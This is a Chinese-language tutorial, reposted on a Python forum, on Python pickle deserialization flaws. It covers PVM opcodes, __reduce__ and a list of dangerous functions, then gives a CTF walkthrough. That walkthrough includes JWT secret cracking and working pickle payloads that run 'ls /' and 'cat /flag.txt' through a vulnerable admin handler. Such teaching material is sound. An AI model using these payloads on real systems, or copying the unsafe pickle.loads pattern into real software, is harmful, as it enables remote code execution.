社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

浅谈Python Pickle反序列化

合天网安实验室 • 2 年前 • 436 次点击  
原创稿件征集

邮箱:edu@antvsion.com
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬

前言

鸽了很久的python反序列化漏洞,趁着今天没啥事儿就学习一下。在目前(我)已知的反序列化漏洞中,有PHP、Python以及Java语言的反序列化漏洞,且漏洞利用的方式多种多样。这次就先学习一下Python Pickle反序列化漏洞。

基础知识

什么是反序列化

序列化说白了就是将对象转换成字节流,便于保存在内存、文件或者是数据库中;反序列化则是序列化的逆过程,将字节流还原成对象。

Pickle库以及函数

Python中的序列化操作时可以通过pickle和cPickle两个模块进行操作,这两个模块一个是纯python实现,一个是C语言实现,为了方便,这里就以pickle库来进行学习:

picklepython语言的一个标准模块,实现了基本的数据序列化和反序列化。pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。
函数 说明dumps对象序列化为bytes对象dump对象序列化到文件对象,存入文件loads bytes对象反序列化load对象反序列化,从文件中读取数据

带 s 和不带 s 的区别就在于一个是直接进行序列化、反序列操作,另一个在完成上述操作时同时会对文件进行读取、写入操作。下面将举两个例子来看dumps和loads函数的作用:

#test.pyimport pickle
class A: def __init__(self): print('This is A')

a = A()p_a = pickle.dumps(a)print p_apickle.loads(p_a)
##输出:This is A#(i__main__#A#p0#(dp1#b.

PVM指令

在python2下运行上述的代码,发现在loads函数输出的时候会有一串奇怪的字符。这串字符学名叫PVM指令:

Python语言,是可以直接从源代码中运行程序。Python解释器会将源代码编译成字节码,然后将编译过后的字节码转发到Python虚拟机(PVM)中执行。所以说,PVM指令的作用就是告诉解释字节码的解释引擎我们要进行什么操作。我们在python2运行后,会看到一个以.pyc为扩展名的文件,正是该程序的字节码。
列出几个比较重要的操作码:
c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object 作为可调用对象压入到栈中( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中. : 结束整个 Pickle 反序列化过程

PVM的组成

PVM 由三个部分组成,引擎(或者叫指令分析器)、栈区、还有一个 标志区(memo)

1.引擎的作用
从头开始读取流中的操作码和参数,并对其进行处理,zai在这个过程中改变 栈区 和 标签区,处理结束后到达栈顶,形成并返回反序列化的对象
2.栈区的作用
作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化,并最终在栈上生成发序列化的结果
3.标签区的作用
数据的一个索引或者标记


我们来解读一下上面 loads 函数的输出:

#(i__main__    引入__main__模块#A             引入A对象#p0            将栈顶数据(__main__.A)存储到标志区(memo)中#(dp1          在栈顶创建一个字典,将memo中的内容转换成键值对并存储到这个字典中,然后栈顶存储到memo中#b.            调用__setstate__或者__dict__.update()来更新字典内容,最后读取到".",结束Pickle序列化过程。


反序列化漏洞的产生

从上面的例子中,可以总结得到python序列化主要有三个过程:从对象中提取所有属性——》写入对象的所有模块名和类名——》写入对象所有属性的键值对。python反序列化漏洞的产生和php的魔术方法有异曲同工之处,在Python2中的__reduce__()方法,会在每次的反序列化开始或结束时调用。

__reduce__方法
在新式类中生效,不带参数,应返回字符串或是一个元组。
如果返回一个字符串,该字符串应该被解释为全局变量的名称,它应该是对象相对于其模块的本地名称。
当返回一个元组时,它必须包含两到五个成员。可选成员可以省略,也可以提供None作为其值。
每个成员的意义是按顺序规定的:
第一个成员,将被调用的对象,callable。
第二个成员,可调用对象的参数的元组。如果callable不接受任何参数,则必须给出一个空元组。
当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控,就会造成代码执行。


注意,目前在python2中,只有内置类才有__reduce__方法,所以声明的时候必须为class A(object)才能利用这个点。

来个例子简单理解一下:

import pickleimport osclass A(object):    def __reduce__(self):        return (os.system,('ls',))a = A()test = pickle.dumps(a)print testpickle.loads(test)


可以看到在dumps执行后,PVM指令中有一行R指令,前面提到R指令的作用就是将该元组作为可调用参数的对象并执行该对象,所以就相当于执行了os.system('ls'),并且pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用:

eval, execfile, compile, open, file, map, input,os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,os.listdir, os.access,os.execl, os.execle, os.execlp, os.execlpe, os.execv,os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,pickle.load, pickle.loads,


    
cPickle.load,cPickle.loads,subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,commands.getstatusoutput,commands.getoutput,commands.getstatus,glob.glob,linecache.getline,shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,popen2.popen2,popen2.popen3,popen2.popen4,timeit.timeit,timeit.repeat,sys.call_tracing,code.interact,code.compile_command,codeop.compile_command,pty.spawn,posixfile.open,posixfile.fileopen,platform.popen

例题训练

ikun--CISCN2019 华北赛区


提示我们要买到LV6才行,跑脚本去抓 lv6.png:

import requestsurl="http://87a4ec57-2a26-4095-8f2f-2de60f2f6192.node3.buuoj.cn/shop?page="
for i in range(0,501):
r=requests.get(url+str(i))if 'lv6.png' in r.text: print (i) break


单线程跑的不是很快,好在页面也不是很多。但找到页面后发现钱不够。。。抓包看下:



发现页面中的折扣是可以进行修改的,尝试将折扣修改到足够小。这时候再向服务器发起请求的时候,被重定向到另一个页面,并且提示我们页面只有admin才能访问。这时候再重新审一下页面,有一个JWT的cookie,跑网站解析一下:


刚开始解析完,直接把用户名改成admin,放Burp里跑的时候没成功,发现还有一段密钥需要解,把现有的JWT放到JWT-Cracker跑一下,拿到密钥 1Kun 。再次修改JWT,拿着新的JWT向服务器发起请求,接着给了我们源码,源码挺多的,根据题目给的暗示 pickle和python,猜测是python反序列化漏洞,搜索关键字loads和dumps,在admin.py找到:




    
import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllib

class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html')
@tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) #从字节对象中读取被封装的对象,并返回 return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)


如果我们传入一个带有__reduce__方法的类到become中,那么就会触发RCE(ps:网上的payload直接就找着/flag.txt打,其实最主要的还是先找到flag的位置。刚开始很sb的用os.system打,但是没有回显,一度以为被ban掉了= =后面才想起来该函数只执行,不打印结果):

#找flag.pyimport pickleimport urllibimport sysimport commands
class payload(object): def __reduce__(self): return (commands.getoutput, ('ls /',))
a = pickle.dumps(payload())a = urllib.quote(a)print a
#拿flag.py
import pickleimport urllib class payload(object): def __reduce__(self): return (commands.getoutput, ('cat /flag.txt',))
a = pickle.dumps(payload())
a = urllib.quote(a)print a


关于python反序列化还有其他知识点,星盟的师傅总结的要更全面些:https://www.secpulse.com/archives/127664.html


关于python反序列化利用的真实案例,可以看p牛的:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.htm


实操推荐:Python反序列化漏洞

https://www.hetianlab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572&pk_campaign=weixin-wemedia#stu


通过进行python脚本的实际编程,了解python反序列化漏洞产生的机理,增强安全开发意识。


“阅读原文”
体验免费靶场
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/117664
 
436 次点击